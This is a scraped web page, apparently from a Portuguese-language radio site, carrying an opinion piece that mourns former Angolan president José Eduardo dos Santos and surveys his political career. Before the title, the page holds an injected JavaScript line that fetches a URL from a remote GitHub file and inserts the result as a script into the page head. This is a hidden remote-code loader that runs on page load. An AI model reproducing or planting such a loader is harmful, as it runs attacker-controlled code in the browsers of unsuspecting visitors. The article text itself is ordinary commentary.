;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); Episódio #13 - JES é um património nacional | RadioPlayDigital
Episódio #13 - JES é um património nacional

No exacto momento em que começava a escrever este artigo, sai a notícia inesperada – sim, a morte é por definição inesperada, seja em que circunstâncias for -, através de um comunicado da Presidência da República que anunciava a morte do ex-Presidente da República e Presidente Emérito do MPLA, o engenheiro José Eduardo dos Santos, aos 79 anos de idade é vítima de doença prolongada.

Ao longo da minha vida, por conta do longuevo mandato na liderança do nosso país, aprendi a admirar a figura do Presidente José Eduardo dos Santos (JES), de quem gostaria um dia de escrever, com um pouco mais de tempo e profundidade, no sentido de entender melhor a sua inspiracional trajectória de vida, tão intrinsecamente ligada aos principais momentos da História do nosso país, ele, como nenhuma outra pessoa que tenha chegado tão longe no poder – a luta contra o colonialismo, que cedo abraçou; a Independência Nacional; a crise política gerada com a intentona do 27 de Maio de 1977; a difícil sucessão do Presidente Agostinho Neto, sendo ele um dos jovens turcos ao lado de enormes gurus; os anos do conflito civil, num país “órfão da Guerra Fria”, como classificou Margareth Anstee; a mudança político-constitucional de 1991 e as eleições de1992; o reacender do conflito por mais uma década, no meio de processos de paz desastrosos e o fim da guerra pela via militar tendo os próprios angolanos como protagonistas – onde é relevante a sua frase mais marcante: “nem mais um tiro”; o alcance da paz e a reconstrução do País, a teoria da acumulação primitiva de capitais e outras práticas ou opções de consequências de que ainda hoje padecemos; a mudança constitucional e a sua própria transição política.

A sua dimensão política leva-nos a assumir que JES é um património nacional, ou como quem diz: “JES não é da família, JES é de todos nós” e, como tal, o nosso grande patriota merece descansar no “panteão”, em solo pátrio. E isso nem parece questionável. Oxalá, por isso, que o desfecho premonitório na obra de Pepetela seja uma mera ficção. Com todo o respeito e consideração que a família do ex-Presidente merece, não podemos perder de vista o seu estatuto, de resto sobre o qual dele até sempre fizeram juz.

A sua trajectória está também indubitavelmente ligada a momentos e figuras marcantes da história do continente africano e do mundo. Falo de Mobutu e outros vultos da política africana com quem manteve sempre uma relação difícil (Boigny e Senghor), para além de outros como Samora Machel, Robert Mugabe, Nelson Mandela, Arap-Moi, Joaquim Chissano; Fidel Castro e Cuba têm um estatuto especial; Presidentes americanos como Reagan, Clinton e os Bush (pai e filho), o movimento dos não-alinhados, Gorbatchov, Yeltsin e os seus antecessores soviéticos, a China do século XXI, a queda do muro de Berlim, o fim do apartheid, as independências na África Austral, o 11 de Setembro e outros eventos nos quais se envolveu com forte sentido estratégico e lastro de um diplomata notável.

Esperamos que essa história de vida, ou pelo menos as notas e os documentos, estejam reunidos e guardados, porque não fazem só parte das memórias de um político, mas da nossa memória colectiva, da nossa História, onde José Eduardo dos Santos é um notável protagonista. Na verdade, Zé Dú, como era carinhosamente tratado, foi, sob este ponto de vista, uma enorme biblioteca (até mesmo no sentido do seu silencioso agir) e esperamos que, com a sua morte, não percamos a possibilidade de conhecer o seu testemunho sobre a nossa sorte e a nossa História nas várias etapas. Há claramente um JES de 1979-1992; um outro de 1992-2008; por fim, de 2008-2017. Fica o desafio aos historiadores.

Não sou daqueles que julgue o todo pelas partes, embora considere que as peças formam o puzzle. Por isso, na sua condição humana e em nada transcendental, embora muitos de nós o víssemos assim, José Eduardo dos Santos terá cometido os seus erros, mas não é seguramente este o melhor momento para esta avaliação. Caberá à História e ao seu Povo, que dirigiu ao longo de 38 anos, com grande entrega e comprometimento, julgá-lo em relação ao que era seu propósito: “ser lembrado como um grande patriota”.

Há algo que me parece inquestionável, José Eduardo dos Santos deu o melhor de si em nome de uma causa que era comum: a paz em Angola, razão porque passou a ser considerado o «Arquitecto da Paz». A melhoria de vida para os angolanos, mesmo que nem sempre seguindo os melhores métodos, era a sua segunda ambição. Se como assume Francis Fukuyama numa recente entrevista, “a democracia é uma construção constante”, cabe-nos a todos seguir o mesmo princípio, contribuir com o nosso bloco na edificação desta Angola e democrática que todos desejamos, seja em termos económicos como também geopolíticos.

O que nos resta, nesta hora, como cristãos, é desejar que José Eduardo dos Santos descanse em paz e a terra lhe seja leve, pois, como diz a Bíblia Sagrada, acredito que combateu um bom combate! Termino com o estrato de uma memorável canção da campanha eleitoral de 1992: é mesmo em Zé Dú / é mesmo em Zé Dú / em quem vou votar!

Data de Emissão: 12-07-2022 às 10:00
Género(s): Opinião
 
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